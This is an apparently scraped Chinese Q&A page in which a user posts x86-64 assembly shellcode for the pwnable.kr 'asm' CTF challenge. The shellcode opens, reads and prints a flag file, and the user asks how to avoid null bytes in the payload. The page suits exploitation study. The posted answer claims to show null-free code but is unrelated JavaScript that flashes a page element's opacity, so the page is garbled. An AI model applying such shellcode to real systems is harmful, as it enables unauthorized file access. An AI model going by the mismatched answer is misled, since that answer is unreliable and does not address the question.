处理shellcode中的字符串

时间:2016-12-17 17:32:28

标签: security assembly x86-64 shellcode

我试图从pwnable.kr(toddlers bottle,asm)解决CTF任务,其中我必须编写一个" shellcode",它将打开,读取和写入文件内容(包含国旗)。

我的代码如下:

global _start

section .text

_start:
  jmp mesg
  shellcode:
    ; open
    pop rdi ; rdi points to file_name and trash
    xor rsi, rsi
    mov al, 2 ; sys_open
    syscall

    ; read
    mov rdi, rax
    xor rax, rax ; sys_read
    lea rsi, [rsp]
    mov dl, 0x20
    syscall

    ; write
    mov dl, al ; bytes read
    xor rax, rax
    mov al, 1 ; sys_write
    mov dil, 1 ; stdout
    lea rsi, [rsp]
    syscall

    ; crash
    xor ebx, ebx
    xor eax, eax
    div ebx

mesg:
  call shellcode
  db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data

除以0是为了停止执行并避免使用call shellcode

进行循环

长字符串是包含标志的文件的名称。

我在这里找到了将字符串地址弹出到寄存器中的技巧:Linux Shellcode "Hello, World!"

我的问题是:文件名不是以null结尾。因此,当调用sys_open时,文件名在实际字符串后包含垃圾。

我尝试过像:

xor al, al
mov byte [rdi + 464], al

弹出到rdi后手动插入NULL,但我无法从字节码中删除NULL(shellcode将从stdin中读取,因此这是一个问题)。

处理此问题的最佳方法是什么?

架构:x86_64

1 个答案:

答案 0 :(得分:1)

编写0字节空闲代码的许多方法。一个例子:

    var popcount = 0;
var opanumber = 1;
var poptimeout;
function pop() {
    if (popcount < 10) {
        popcount++;
        if (opanumber == 1) {
        document.getElementById("nav1").style.opacity = 0;
        opanumber = 0;
        poptimeout = setTimeout("pop()", 50);
        }
        else {
        document.getElementById("nav1").style.opacity = 1;
        opanumber = 1;
        poptimeout = setTimeout("pop()", 50);
        }
    }
    else {
    popcount = 0;
    document.getElementById("nav1").style.opacity = 1;
    }
}

function stoppop() {
    clearTimeout(poptimeout);
    popcount = 0;
    document.getElementById("nav1").style.opacity = 1;
}